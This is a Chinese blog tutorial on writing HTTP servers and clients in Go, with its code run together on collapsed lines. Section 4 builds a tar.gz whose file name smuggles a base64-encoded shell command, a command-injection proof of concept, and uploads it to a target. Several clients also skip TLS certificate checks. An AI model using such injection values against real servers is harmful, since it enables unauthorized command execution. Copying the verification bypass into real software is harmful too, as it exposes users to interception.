用go实现http服务端和请求端

一、概述

        本文旨在学习记录下如何用go实现建立一个http服务器，同时构造一个专用格式的http客户端。

二、代码实现

2.1 构造http服务端

1、http服务处理流程

基于HTTP构建的服务标准模型包括两个端，客户端(Client)和服务端(Server)。HTTP 请求从客户端发出，服务端接受到请求后进行处理然后将响应返回给客户端。所以http服务器的工作就在于如何接受来自客户端的请求，并向客户端返回响应。 

• 使用http.HandleFunc实现http服务，返回hello world

package mainimport ("fmt""net/http"
)func HelloHandler(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, "Hello World")
}func main () {http.HandleFunc("/", HelloHandler)http.ListenAndServe(":8000", nil)
}

• 使用http.Handle实现http服务

package mainimport ("fmt""net/http"
)type HelloHandlerStruct struct {content string
}//必须实现此方法，且名称为ServerHTTP
func (handler *HelloHandlerStruct) ServeHTTP(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, handler.content)
}func main()  {http.Handle("/", &HelloHandlerStruct{content: "Hello World"})http.ListenAndServe(":8000", nil)
}

• 优雅的关闭http服务

package mainimport ("context""fmt""io/ioutil""log""net/http""os""os/signal""syscall""time"
)type EchoHandler struct{}func (handler EchoHandler) ServeHTTP(writer http.ResponseWriter, request *http.Request) {// 设置响应头writer.Header().Add("X-Data", "foo")// 设置相应的cookiehttp.SetCookie(writer, &http.Cookie{Name:   "x-cookie",Value:  "bar",MaxAge: 86400,Secure: true,})//设置响应状态码为200writer.WriteHeader(200)// 设置响应体，打印网络请求信息fmt.Fprintln(writer, "===== Network =====")fmt.Fprintln(writer, "Remote Address:", request.RemoteAddr)fmt.Fprintln(writer)// 设置响应体，打印请求方法 url host 协议信息fmt.Fprintln(writer, "===== Request Line =====")fmt.Fprintln(writer, "Method: ", request.Method)fmt.Fprintln(writer, "URL: ", request.URL)fmt.Fprintln(writer, "Host: ", request.Host)//fmt.Fprintln(writer, "URI: ", request.RequestURI)fmt.Fprintf(writer, "Protocol: %v major=%v minor=%v\n", request.Proto,request.ProtoMajor, request.ProtoMinor)fmt.Fprintln(writer)// 设置输出请求的请求头fmt.Fprintln(writer, "===== Header =====")for k, v := range request.Header {fmt.Fprintf(writer, "%v: %v\n", k, v)}fmt.Fprintln(writer)// 设置输出请求的bodybody, err := ioutil.ReadAll(request.Body)if err == nil && len(body) > 0 {fmt.Fprintln(writer, "===== Raw Body =====")fmt.Fprintln(writer, string(body))}
}func main() {// 创建系统信号接收器done := make(chan os.Signal)signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM)// 创建 HTTP 服务器server := &http.Server{Addr:    ":8000",Handler: EchoHandler{},}// 启动 HTTP 服务器go func() {log.Println("Server starting...")if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {log.Fatalf("ListenAndServe: %v", err)}}()// 监听系统信号并执行关闭操作<-donelog.Println("Server shutting down...")// 创建一个超时上下文，确保关闭操作不会无限期等待ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)defer cancel()if err := server.Shutdown(ctx); err != nil {log.Fatal("Shutdown server:", err)}log.Println("Server gracefully stopped")
}

2.2 构建http客户端

1、基本介绍及使用

net/http 包提供了最简洁的 HTTP 客户端实现，无需借助第三方网络通信库（比如 libcurl）就可以直接使用最常见的 GET 和 POST 方式发起 HTTP 请求。

func (c *Client) Get(url string) (r *Response, err error)
func (c *Client) Post(url string, bodyType string, body io.Reader) (r *Response, err error)
func (c *Client) PostForm(url string, data url.Values) (r *Response, err error)
func (c *Client) Head(url string) (r *Response, err error)
func (c *Client) Do(req *Request) (resp *Response, err error)

基本的代码实现：

package mainimport ("bytes""fmt""io/ioutil""net/http"
)func main() {// 目标 URLbaseUrl := "http://localhost"// 执行 GET 请求doGet(baseUrl + "/gettest")// 执行 POST 请求doPost(baseUrl + "/posttest")// 执行 POST Form 请求doPostForm(baseUrl + "/postform")
}func doGet(url string) {response, err := http.Get(url)if err != nil {fmt.Println("GET request failed:", err)return}defer response.Body.Close()body, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("Error reading response:", err)return}fmt.Println("GET Response:")fmt.Println(string(body))
}func doPost(url string) {// 准备 POST 请求的 JSON 数据jsonPayload := []byte(`{"key": "value"}`)response, err := http.Post(url, "application/json", bytes.NewBuffer(jsonPayload))if err != nil {fmt.Println("POST request failed:", err)return}defer response.Body.Close()body, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("Error reading response:", err)return}fmt.Println("POST Response:")fmt.Println(string(body))
}func doPostForm(url string) {// 准备 POST Form 数据data := url.Values{}data.Add("name", "Alice")data.Add("age", "30")response, err := http.PostForm(url, data)if err != nil {fmt.Println("POST Form request failed:", err)return}defer response.Body.Close()body, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("Error reading response:", err)return}fmt.Println("POST Form Response:")fmt.Println(string(body))
}

2、自定义请求头，以及绕过https验证

package mainimport ("fmt""net/http""net/url""strings"
)func main() {// 自定义请求头headers := map[string]string{"User-Agent": "Your Custom User-Agent","Host":       "example.com", // 自定义 Host}// 目标 URLtargetURL := "https://example.com" // 替换为你的目标 URL// 创建自定义 Transporttr := &http.Transport{TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证TLSHandshakeTimeout:   5,                         // 超时时间（秒）DisableKeepAlives:     true,                     // 禁用连接复用IdleConnTimeout:       30,                       // 空闲连接超时时间（秒）MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数ResponseHeaderTimeout: 5,                        // 响应头超时时间（秒）}// 创建自定义客户端client := &http.Client{Transport: tr,}// 发送 GET 请求response, err := client.Get(targetURL)if err != nil {fmt.Println("GET request failed:", err)return}defer response.Body.Close()// 读取响应内容body := make([]byte, 1024)n, err := response.Body.Read(body)if err != nil {fmt.Println("Error reading response:", err)return}// 输出响应内容fmt.Println("Response:")fmt.Println(string(body[:n]))
}

3、实现登录后会话保持以及自定义请求头

package mainimport ("fmt""net/http""net/url""strings"
)func main() {// 自定义请求头headers := map[string]string{"User-Agent": "Your Custom User-Agent","Host":       "example.com", // 自定义 Host}// 目标 URLbaseURL := "https://example.com" // 替换为你的目标 URLloginURL := baseURL + "/login"   // 登录 URLsecuredURL := baseURL + "/secured-resource" // 需要 Token 的 URL// 准备登录请求的数据loginData := url.Values{"user": {"admin"},"pass": {"123456"},}// 创建自定义 Transporttr := &http.Transport{TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证TLSHandshakeTimeout:   5,                         // 超时时间（秒）DisableKeepAlives:     true,                     // 禁用连接复用IdleConnTimeout:       30,                       // 空闲连接超时时间（秒）MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数ResponseHeaderTimeout: 5,                        // 响应头超时时间（秒）}// 创建自定义客户端client := &http.Client{Transport: tr,}// 发送登录请求loginRequest, err := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode()))if err != nil {fmt.Println("Error creating login request:", err)return}// 设置登录请求的头部和内容类型loginRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")for key, value := range headers {loginRequest.Header.Set(key, value)}loginResponse, err := client.Do(loginRequest)if err != nil {fmt.Println("Login request failed:", err)return}defer loginResponse.Body.Close()// 获取登录后的 Tokenvar token stringfor _, cookie := range loginResponse.Cookies() {if cookie.Name == "token" {token = cookie.Valuebreak}}if token == "" {fmt.Println("Login failed. No token received.")return}fmt.Println("Login successful. Token:", token)// 在后续请求中添加 Token 到请求头securedRequest, err := http.NewRequest("GET", securedURL, nil)if err != nil {fmt.Println("Error creating secured request:", err)return}securedRequest.Header.Set("Authorization", "Bearer "+token) // 添加 Token 到请求头for key, value := range headers {securedRequest.Header.Set(key, value)}securedResponse, err := client.Do(securedRequest)if err != nil {fmt.Println("Secured request failed:", err)return}defer securedResponse.Body.Close()// 读取并输出响应内容responseBody, err := ioutil.ReadAll(securedResponse.Body)if err != nil {fmt.Println("Error reading response body:", err)return}fmt.Println("Secured resource response:")fmt.Println(string(responseBody))
}

4、构造一个带特殊字符的压缩包，并且通过接口上传

package mainimport ("archive/tar""bytes""compress/gzip""crypto/tls""fmt""io""io/ioutil""mime/multipart""net/http""os"
)func main() {// 压缩文件内容tarContent := generateTarGzContent("11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")// 发送 HTTP POST 请求url := "https://example.com/upload" // 替换为你的目标 URLuploadTarGz(url, tarContent)
}func generateTarGzContent(filename string) []byte {var buf bytes.Buffergw := gzip.NewWriter(&buf)tw := tar.NewWriter(gw)// 添加文件到 tar 压缩包fileContent := []byte("This is the content of 11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")header := &tar.Header{Name: filename,Size: int64(len(fileContent)),}if err := tw.WriteHeader(header); err != nil {fmt.Println("写入 tar 头部失败:", err)os.Exit(1)}if _, err := tw.Write(fileContent); err != nil {fmt.Println("写入文件内容失败:", err)os.Exit(1)}// 关闭 tar 和 gzip 缓冲区if err := tw.Close(); err != nil {fmt.Println("关闭 tar 失败:", err)os.Exit(1)}if err := gw.Close(); err != nil {fmt.Println("关闭 gzip 失败:", err)os.Exit(1)}return buf.Bytes()
}func uploadTarGz(url string, tarContent []byte) {// 创建一个 Buffer，用于构建 multipart/form-data 请求体var requestBody bytes.Bufferwriter := multipart.NewWriter(&requestBody)// 写入 tar.gz 文件part, err := writer.CreateFormFile("file", "test.tar.gz")if err != nil {fmt.Println("创建表单文件失败:", err)os.Exit(1)}if _, err := io.Copy(part, bytes.NewReader(tarContent)); err != nil {fmt.Println("写入文件内容失败:", err)os.Exit(1)}// 关闭 multipart writerwriter.Close()// 创建 HTTP 请求req, err := http.NewRequest("POST", url, &requestBody)if err != nil {fmt.Println("创建请求失败:", err)os.Exit(1)}req.Header.Set("Content-Type", writer.FormDataContentType())// 创建一个自定义的 Transport，用于跳过 HTTPS 证书验证tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true},}// 使用自定义 Transport 发起请求client := &http.Client{Transport: tr}response, err := client.Do(req)if err != nil {fmt.Println("请求失败:", err)os.Exit(1)}defer response.Body.Close()// 读取响应内容responseBody, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("读取响应内容失败:", err)os.Exit(1)}fmt.Println("响应内容:")fmt.Println(string(responseBody))
}

5、设置http代理

package mainimport ("fmt""net/http""net/url""os"
)func main() {// 创建 HTTP 客户端，并设置代理proxyURL, err := url.Parse("http://127.0.0.1:8080") // 替换为您的代理服务器地址if err != nil {fmt.Println("解析代理地址失败:", err)os.Exit(1)}client := &http.Client{Transport: &http.Transport{Proxy: http.ProxyURL(proxyURL),},}// 创建 HTTP 请求url := "https://example.com" // 替换为您要请求的目标 URLrequest, err := http.NewRequest("GET", url, nil)if err != nil {fmt.Println("创建请求失败:", err)os.Exit(1)}// 发送 HTTP 请求response, err := client.Do(request)if err != nil {fmt.Println("请求失败:", err)os.Exit(1)}defer response.Body.Close()// 读取响应内容responseBody := make([]byte, 0)buffer := make([]byte, 1024)for {n, err := response.Body.Read(buffer)if n > 0 {responseBody = append(responseBody, buffer[:n]...)}if err != nil {break}}fmt.Println("响应内容:")fmt.Println(string(responseBody))
}

6、综合实践 

// 生成jwt token
func CreateJWT(claim jwt.Claims) (string, error) {//读取 RSA私钥文件privateKeyBytes, err := ioutil.ReadFile(privateKeyPath)if err != nil {return "", err}//解析RSA私钥privateKey, err := jwt.ParseRSAPrivateKeyFromPEM(privateKeyBytes)if err != nil {return "", err}//创建jwttoken := jwt.NewWithClaims(jwt.SigningMethodRS256, claim)//使用私钥进行签名tokenString, err := token.SignedString(privateKey)return tokenString, nil
}// 验证token有效性，主要为想做成直接用解析提供的token并从中获取想要的参数，避免传入过多参数，暂时未用上
func ParseToken(tokenStr string) (interface{}, error) {//读取RSA公钥文件publicKeyBytes, err := ioutil.ReadFile(publicKeyPath)if err != nil {return "", nil}//解析RSA 公钥publicKey, err := jwt.ParseRSAPublicKeyFromPEM(publicKeyBytes)if err != nil {return "", err}//解析tokentoken, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) {if token.Method != jwt.SigningMethodRS256 {return nil, fmt.Errorf("加密方法有误，非rsa256，而是：%v", token.Header["alg"])}return publicKey, nil})//检查解析是否成功if err != nil {return nil, err}//验证token是否有效if !token.Valid {return nil, fmt.Errorf("无效token")} else if claims, ok := token.Claims.(jwt.MapClaims); ok {//通过key获取具体的Claims值fmt.Println("touken有效，正在提取其中的Claims。。。。")return claims, nil} else {return nil, fmt.Errorf("token有效，但是无法提取Claims")}}func GetCookie(token, url string) (string, error) {//自定义请求头headers := map[string]string{"token":           token, //利用生成的token"User-Agent":      "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36","Accept":          " application/json, text/plain, */*","Accept-Encoding": "gzip, deflate","Content-Type":    "application/json","Accept-Language": "zh-CN,zh;q=0.9",}//fmt.Println("\nurl 为", baseurl)//创建代理/* 	proxyURL, err := url.Parse("http://127.0.0.1:8080") //设置代理地址if err != nil {fmt.Println("解析代理地址失败", err)os.Exit(1)} */// 创建自定义 Transporttr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证//TLSHandshakeTimeout: 10,                                    // 超时时间（秒）DisableKeepAlives:   true, // 禁用连接复用IdleConnTimeout:     30,   // 空闲连接超时时间（秒）MaxIdleConnsPerHost: 20,   // 每个主机的最大空闲连接数//ResponseHeaderTimeout: 10, // 响应头超时时间（秒）//Proxy: http.ProxyURL(proxyURL), //设置代理服务器}//创建自定义客户端client := &http.Client{Transport: tr,Timeout:   time.Second * 10, //设置请求的超时时间}//创建JSON请求体requestBody := map[string]interface{}{"username":            "123456","password": "1",}//将请求体编码为 JSON格式jsonData, err := json.Marshal(requestBody)if err != nil {fmt.Println("JSON 编码错误", err)return "", err}//创建post请求request, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData))if err != nil {fmt.Println("创建请求错误", err)return "", err}//设置请求头for key, value := range headers {request.Header.Set(key, value)}//发送POST请求response, err := client.Do(request)if err != nil {fmt.Println("\n请求错误:", err)return "", err}defer response.Body.Close()/* 	// 读取响应内容var responseStr stringbuf := new(bytes.Buffer)_, err = buf.ReadFrom(response.Body)if err != nil {return "", err}responseStr = buf.String()// 检查响应状态码if response.StatusCode != http.StatusOK {return "", fmt.Errorf("响应状态码为 %d", response.StatusCode)}return responseStr, nil *///处理响应:仅针对返回body为json格式数据var responseBody map[string]interface{}decoder := json.NewDecoder(response.Body)if err := decoder.Decode(&responseBody); err != nil {fmt.Println("响应解析错误", err)return "", err}//输出响应fmt.Println("响应状态码：", response.Status)fmt.Println("响应数据ret：", responseBody["ret"])var retflag float64retflag = 1if responseBody["ret"].(float64) == retflag {setCookieHeaders := response.Header["Set-Cookie"]return setCookieHeaders[0], nil} else {return "", fmt.Errorf("错误信息：%s", responseBody["error"])}